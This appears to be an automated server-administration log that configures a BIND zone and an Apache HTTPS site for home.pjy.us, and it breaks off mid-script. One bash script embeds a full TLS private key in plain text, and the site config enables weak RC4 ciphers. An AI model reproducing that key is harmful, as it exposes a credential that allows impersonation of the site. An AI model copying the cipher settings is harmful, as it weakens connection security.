MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= ead22db0f92a33841cc438de003f20f0
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-08-29 19:31:58:
PUT: /tmp/pkp603880
#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam
#target cache files
HASH = '4e946d31d5dbbaea14c1f8a8cc65c592'
ZONE_NAME = 'pjy.us'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'
uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
pass
PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:
line = fp.readline()
while line:
if HASH in line:
hash_present = True
break
line = fp.readline()
fp.close()
if not hash_present:
fp = open(LOCAL_FILE, 'a')
fp.write(PAYLOAD + "\n")
fp.close()
# call = old python, 'run' python 3.5+
subprocess.call(['rndc', 'reconfig'])
else:
subprocess.call(['rndc', 'freeze', ZONE_NAME ])
subprocess.call(['rndc', 'reload', ZONE_NAME ])
subprocess.call(['rndc', 'thaw', ZONE_NAME ])
time.sleep(3)
2025-08-29 19:31:58:
chmod 755 /tmp/pkp603880; /tmp/pkp603880; rm /tmp/pkp603880
2025-08-29 19:32:02:
rndc: 'freeze' failed: not dynamic
zone reload queued
STDERR:
rndc: 'freeze' failed: not dynamic
2025-08-29 19:32:02:
PUT: /tmp/pkp504364
#!/bin/bash
rndc reload pjy.us 2>&1
2025-08-29 19:32:02:
chmod 755 /tmp/pkp504364; /tmp/pkp504364; rm /tmp/pkp504364
2025-08-29 19:32:02:
zone reload up-to-date
2025-08-29 19:32:12: Establishing a connection
2025-08-29 19:32:13:
PUT: /tmp/pkp493073
#!/bin/bash
temp_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb
cat > $temp_file <<'endmsg'
26:77:82:f3:bd:9d:03:f8:75:63:1d:be:3c:d0:86:f4
-----BEGIN CERTIFICATE-----
MIIE8TCCA9mgAwIBAgISBZu7ba3HLy0ydo9ehBlHPShJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODI5MTgzMzQxWhcNMjUxMTI3MTgzMzQwWjAWMRQwEgYDVQQD
Ewtob21lLnBqeS51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKiS
w6Cdsbcxg4LSm2qx5oXNaYIcsLpw55Gl5Vr948dqdxUfYxv8NI9uEK5ZrymPnMr/
L8JflyR2fSVsnKKHylW3Yo3EmK6k2+QB7XAjFT9O6NvGjSsH2ySakSmmHeQGlhMg
vDgRDD7jHIzULMMmZcHwlKOmgCdfhUTT8pjcoUUO8miTtaGivjju9oD991kzCWlu
onEF0R/3WJPgp+8bzlROoGGYrV+/In9lTlgMJfCe+avQv//C5hT1h9bocpFGW/Ql
gX14HCuzTy76bMpM+T8ksMyc+qX/XyZglBnzdk1kt229U7KP4HzJD2kUDeclPIXE
fQfga3/jgfBTvbiWxYkCAwEAAaOCAhowggIWMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUVU0KDHcunmUHIc7rIH8hvWnOa3EwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yt
eD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEy
LmkubGVuY3Iub3JnLzAWBgNVHREEDzANggtob21lLnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzc0LmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1ABoE/0nQVB1Ar/ag
w7/x2MRnL07s7iNAaJhrF0Au3Il9AAABmPdQ6fsAAAQDAEYwRAIgKwL0yMpwc4y0
Uv5wSfFEZdccUv0kby2kiZ6PSFaUK64CIAcltxgmthNOS4fiNwThUrjhf347fEVF
+4ye0ySJWJ7KAHYAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGY
91Dp2gAABAMARzBFAiEAr7xkcLy6So+vn6Mprgz+LLw7C46yv+m0maz8Rn46EpoC
IG5olnUUVDfch38cS3exchPBfwtqUTon8A5m2uJZVRmWMA0GCSqGSIb3DQEBCwUA
A4IBAQA1/wEz7vM5Czu7MobZZgNt1m+Udgc7lcMMtmi7TuQFg66s2ci5Z6wcdgaK
4+8o99uVHxC5wCpJqGS3zAwdhffP7Soj0rBE0EUb631Pu+YdDEb1oW3G+7rqK5ty
GBYs6lmixO6r4c7kKoj31PiGDTmFXd+j4lXfcWKQ1o1cTLWQ84f7IZXtjQy21QbW
h8dxx5CR0cb1DEnZyzZTLkEJOiIV/U0UUra0Wcv5za3R8NNjup4/+aiVK8MyyfZ+
rzZFMhoV0HTx7cGZN6Rcyspde1TE6GFkDh+XcrE21k0LzpP9QHePNgXrphPCBDO5
AgAiiN5NJdWXPNTB+h2lpy+FSvdE
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCoksOgnbG3MYOC
0ptqseaFzWmCHLC6cOeRpeVa/ePHancVH2Mb/DSPbhCuWa8pj5zK/y/CX5ckdn0l
bJyih8pVt2KNxJiupNvkAe1wIxU/Tujbxo0rB9skmpEpph3kBpYTILw4EQw+4xyM
1CzDJmXB8JSjpoAnX4VE0/KY3KFFDvJok7Whor447vaA/fdZMwlpbqJxBdEf91iT
4KfvG85UTqBhmK1fvyJ/ZU5YDCXwnvmr0L//wuYU9YfW6HKRRlv0JYF9eBwrs08u
+mzKTPk/JLDMnPql/18mYJQZ83ZNZLdtvVOyj+B8yQ9pFA3nJTyFxH0H4Gt/44Hw
U724lsWJAgMBAAECgf8VutV83tcJxlgthPiDyGru1IvFOe2OGv++xqPKFvBFxHOV
RXaBJQGhe46q6uSpdtm/USXW6HuTN7LqIBYQ3XA3nGwX2j/UQ2wU+CqjSeJzRri9
m9qWsWyOS15q//7aZf7yeEXK9Gefs6b6gF9EyK5VUa3Xap8adDW5qZicG9SuEgl/
+Gw8gqbhSeZgCzVFSvoRDIrxH4rdPmI0ZDlg5B52H/dA/OcQd/WjIygxIYkuLcv0
Rpnuz0lLq0W2glX0uDQ5HjEekrKGBh0pldRrqjkPEj12oLu6g1eXPjb3fgqasSkB
agO6FpT5/JkXNmECkYddv3N1e7TSDy2eIqwq1oUCgYEA3iPBOdBP2RhtYAY9PmO6
kaY/UBBxSj2Y9VJyUX4anaex05YQ83NSM3P0xhSYzCRNq5XgR5fSe+OjnUcJP4+8
uxwAIWCcnOlhpsu1qViVxlau44V6wOSzYgGCibHF9zJEuTWUqQokJ2l2wmiX6b2f
Ovco/i5jrECoS5xtPp9KYhMCgYEAwkTDkXyCTrRcgdCF5RCdVfGHr4n1nkEeZ4j+
Z72vwVVjLrSdyQiTiWAFhbWUfiufDv4atNkdQpaD0FOBuwjduI/UlJMLdsCaSdn3
P4UmkiQ9LfqVEDO/zcr+lGpzQEu8+M7a72HOLO/hPOLs3J5LhfFPVnUmIb0rtPRg
Xbg/TXMCgYAApN3kiwQQPw/iHWKEEcnyria01rddXbxZyblnHxR4rInJcT/vVMBC
Qe3NvTWMMfa/rpmN25TSoyBQTmpqcsI7UKN3dU4+7jZIQ4LtUMJuZsXvBu4KLR+Q
Ay0btRY71zt3xf3+V3cvXhDoE2GNXe1eQGUwB3Zmg3F5dqSib9fJXQKBgQCD5cwi
azbN2Qc13C4MaEtqnqJRPInW+L977DdOmCtMSH0eqOK4K2qASwF01uQLBfLoav4W
65JCM48rUocyRcLEHGNovK174yjeG28TYYPelVw0a33pkjkXsEtI2T2G2eVjyI49
GVqyh+uVOz02TQNZ3YzQVpmdLqMOKR2EhCP2oQKBgQDILBFzXigCOuOIAWuvXEUm
GPMHg9bmr6T5tnYerm4j3+fuCCPADE7jgsJTO9j7Ejf759wKkl4UEUGF1QytCntv
2Aj3xrBjjVIxr6OlFn8a7N0RN4fufcRWmsFB8X4Cynq0dfKyXmu1diUYFtdIQ49m
eQOzaN8CS0kP9GXOOlkFFw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-08-29 19:32:14:
chmod 755 /tmp/pkp493073; /tmp/pkp493073; rm /tmp/pkp493073
2025-08-29 19:32:14:
dir=/etc/ssl/certs
2025-08-29 19:32:14:
PUT: /tmp/pkp821866
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-available/pjy_home_us.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-08-29 19:32:14:
chmod 755 /tmp/pkp821866; /tmp/pkp821866; rm /tmp/pkp821866
2025-08-29 19:32:14:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_home_us.conf 1248
<VirtualHost *:80>
ServerName home.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_home/public
<Directory /var/www/pjy_home/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
CustomLog /var/log/apache2/pjy/home_access.log combined
ErrorLog /var/log/apache2/pjy/home_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName home.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
DocumentRoot /var/www/pjy_home/public
<Directory /var/www/pjy_home/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/pjy/home_secure_access.log combined
ErrorLog /var/log/apache2/pjy/home_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-08-29 19:32:14:
PUT: /tmp/pkp906659
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_home_us.conf
TARGET=/etc/apache2/sites-available/pjy_home_us.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName home.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_home/public
<Directory /var/www/pjy_home/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
CustomLog /var/log/apache2/pjy/home_access.log combined
ErrorLog /var/log/apache2/pjy/home_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName home.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
DocumentRoot /var/www/pjy_home/public
<Directory /var/www/pjy_home/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/pjy/home_secure_access.log combined
ErrorLog /var/log/apache2/pjy/home_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-available/pjy_home_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2//etc/apache2/sites-available/pjy_home_us.conf'
echo 'file(/etc/apache2//etc/apache2/sites-available/pjy_home_us.conf= 1'
fi
2025-08-29 19:32:15:
chmod 755 /tmp/pkp906659; /tmp/pkp906659; rm /tmp/pkp906659
2025-08-29 19:32:15:
2025-08-29 19:32:15:
PUT: /tmp/pkp905440
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-08-29 19:32:16:
chmod 755 /tmp/pkp905440; /tmp/pkp905440; rm /tmp/pkp905440
2025-08-29 19:32:16:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-08-29 19:32:16: Establishing a connection
2025-08-29 19:32:17:
PUT: /tmp/pkp849882
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-08-29 19:32:18:
chmod 755 /tmp/pkp849882; /tmp/pkp849882; rm /tmp/pkp849882
2025-08-29 19:32:18:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:2)
port 80 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:2)
port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
*:443 is a NameVirtualHost
default server cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:19)
port 443 namevhost cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:19)
port 443 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:22)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-08-29 19:32:18:
PUT: /tmp/pkp851621
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-available/pjy_home_us.conf')
show_file('/etc/apache2/sites-available/pjy_home_us.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-29 19:32:18:
chmod 755 /tmp/pkp851621; /tmp/pkp851621; rm /tmp/pkp851621
2025-08-29 19:32:19:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_home_us.conf 1248
<VirtualHost *:80>
ServerName home.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_home/public
<Directory /var/www/pjy_home/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
CustomLog /var/log/apache2/pjy/home_access.log combined
ErrorLog /var/log/apache2/pjy/home_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName home.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
DocumentRoot /var/www/pjy_home/public
<Directory /var/www/pjy_home/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/pjy/home_secure_access.log combined
ErrorLog /var/log/apache2/pjy/home_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_home_us.conf 1248
<VirtualHost *:80>
ServerName home.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_home/public
<Directory /var/www/pjy_home/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
CustomLog /var/log/apache2/pjy/home_access.log combined
ErrorLog /var/log/apache2/pjy/home_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName home.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
DocumentRoot /var/www/pjy_home/public
<Directory /var/www/pjy_home/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/pjy/home_secure_access.log combined
ErrorLog /var/log/apache2/pjy/home_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-08-29 19:32:19:
PUT: /tmp/pkp193424
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
